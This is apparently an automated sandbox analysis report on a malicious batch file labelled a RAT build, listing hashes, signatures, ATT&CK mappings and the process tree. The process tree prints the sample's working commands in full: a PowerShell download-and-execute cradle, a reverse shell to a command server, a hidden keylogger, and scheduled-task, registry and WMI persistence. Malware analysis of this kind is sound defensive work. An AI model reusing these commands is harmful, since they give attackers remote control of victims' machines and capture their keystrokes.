Analysis
- max time kernel
149s - max time network
98s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:03
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_76268_014244.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_76268_014244.bat
Resource
win11-20260513-en
General
- Target rat_build_76268_014244.bat
- Size 4KB
- Sample260529-1yn2fsf121
- SHA256 0df7922dc7652fa71ed268d47a95ac578033c66a752b2f3b8bbdf174530c1f85
- MD5 6ee820ff3c2d40d553ee22c1721a8456
- SHA1 c7e7d45e66cc3834be0cc304095ece135b97a834
- SHA512 35421f9277ea9fb840f3207840e871804053ed0cee87380d4568a1fd63a3efb750a23712047bb5a3e2a31b2734f0b9fdc8e6d6a63f26ca46bd8a4216aa1a94bf
- SSDEEP 96:2IskWSUeB2W+VUVv8KFE8IYxV9lguDbnDdrdgMm7LkBAnmYiFgZk8mvlo1Ie:2PSUe4+PKcJlguHDdRgiFgkHlZe
- TLSH T168B1E813639661A085F46628DE323D18675CD6FB2700CD5EFA48CDDC054CAC3A569BF7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_76268.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4656 powershell.exe 5640 powershell.exe 3476 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_76268 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_76268.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4444 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4416 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1368 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3084 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3476 powershell.exe 3476 powershell.exe 5640 powershell.exe 5640 powershell.exe 4656 powershell.exe 4656 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1104 WMIC.exe Token: SeSecurityPrivilege 1104 WMIC.exe Token: SeTakeOwnershipPrivilege 1104 WMIC.exe Token: SeLoadDriverPrivilege 1104 WMIC.exe Token: SeSystemProfilePrivilege 1104 WMIC.exe Token: SeSystemtimePrivilege 1104 WMIC.exe Token: SeProfSingleProcessPrivilege 1104 WMIC.exe Token: SeIncBasePriorityPrivilege 1104 WMIC.exe Token: SeCreatePagefilePrivilege 1104 WMIC.exe Token: SeBackupPrivilege 1104 WMIC.exe Token: SeRestorePrivilege 1104 WMIC.exe Token: SeShutdownPrivilege 1104 WMIC.exe Token: SeDebugPrivilege 1104 WMIC.exe Token: SeSystemEnvironmentPrivilege 1104 WMIC.exe Token: SeRemoteShutdownPrivilege 1104 WMIC.exe Token: SeUndockPrivilege 1104 WMIC.exe Token: SeManageVolumePrivilege 1104 WMIC.exe Token: 33 1104 WMIC.exe Token: 34 1104 WMIC.exe Token: 35 1104 WMIC.exe Token: 36 1104 WMIC.exe Token: SeIncreaseQuotaPrivilege 1104 WMIC.exe Token: SeSecurityPrivilege 1104 WMIC.exe Token: SeTakeOwnershipPrivilege 1104 WMIC.exe Token: SeLoadDriverPrivilege 1104 WMIC.exe Token: SeSystemProfilePrivilege 1104 WMIC.exe Token: SeSystemtimePrivilege 1104 WMIC.exe Token: SeProfSingleProcessPrivilege 1104 WMIC.exe Token: SeIncBasePriorityPrivilege 1104 WMIC.exe Token: SeCreatePagefilePrivilege 1104 WMIC.exe Token: SeBackupPrivilege 1104 WMIC.exe Token: SeRestorePrivilege 1104 WMIC.exe Token: SeShutdownPrivilege 1104 WMIC.exe Token: SeDebugPrivilege 1104 WMIC.exe Token: SeSystemEnvironmentPrivilege 1104 WMIC.exe Token: SeRemoteShutdownPrivilege 1104 WMIC.exe Token: SeUndockPrivilege 1104 WMIC.exe Token: SeManageVolumePrivilege 1104 WMIC.exe Token: 33 1104 WMIC.exe Token: 34 1104 WMIC.exe Token: 35 1104 WMIC.exe Token: 36 1104 WMIC.exe Token: SeIncreaseQuotaPrivilege 980 WMIC.exe Token: SeSecurityPrivilege 980 WMIC.exe Token: SeTakeOwnershipPrivilege 980 WMIC.exe Token: SeLoadDriverPrivilege 980 WMIC.exe Token: SeSystemProfilePrivilege 980 WMIC.exe Token: SeSystemtimePrivilege 980 WMIC.exe Token: SeProfSingleProcessPrivilege 980 WMIC.exe Token: SeIncBasePriorityPrivilege 980 WMIC.exe Token: SeCreatePagefilePrivilege 980 WMIC.exe Token: SeBackupPrivilege 980 WMIC.exe Token: SeRestorePrivilege 980 WMIC.exe Token: SeShutdownPrivilege 980 WMIC.exe Token: SeDebugPrivilege 980 WMIC.exe Token: SeSystemEnvironmentPrivilege 980 WMIC.exe Token: SeRemoteShutdownPrivilege 980 WMIC.exe Token: SeUndockPrivilege 980 WMIC.exe Token: SeManageVolumePrivilege 980 WMIC.exe Token: 33 980 WMIC.exe Token: 34 980 WMIC.exe Token: 35 980 WMIC.exe Token: 36 980 WMIC.exe Token: SeIncreaseQuotaPrivilege 980 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2736 wrote to memory of 3084 2736 cmd.exe 81 PID 2736 wrote to memory of 1368 2736 cmd.exe 82 PID 2736 wrote to memory of 1104 2736 cmd.exe 83 PID 2736 wrote to memory of 980 2736 cmd.exe 84 PID 2736 wrote to memory of 4196 2736 cmd.exe 85 PID 2736 wrote to memory of 4416 2736 cmd.exe 86 PID 2736 wrote to memory of 4444 2736 cmd.exe 90 PID 2736 wrote to memory of 3476 2736 cmd.exe 91 PID 2736 wrote to memory of 5640 2736 cmd.exe 92 PID 2736 wrote to memory of 4656 2736 cmd.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_76268_014244.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_76268" /tr "C:\Users\Admin\AppData\Local\Temp\_76268.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3084
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_76268" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_76268.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:1368
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_76268", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1104
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_76268", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_76268.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:980
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_76268.txt2⤵PID:4196
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:4416
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4444
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_76268.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3476
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5640
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4656
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dc3vnn0z.qau.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH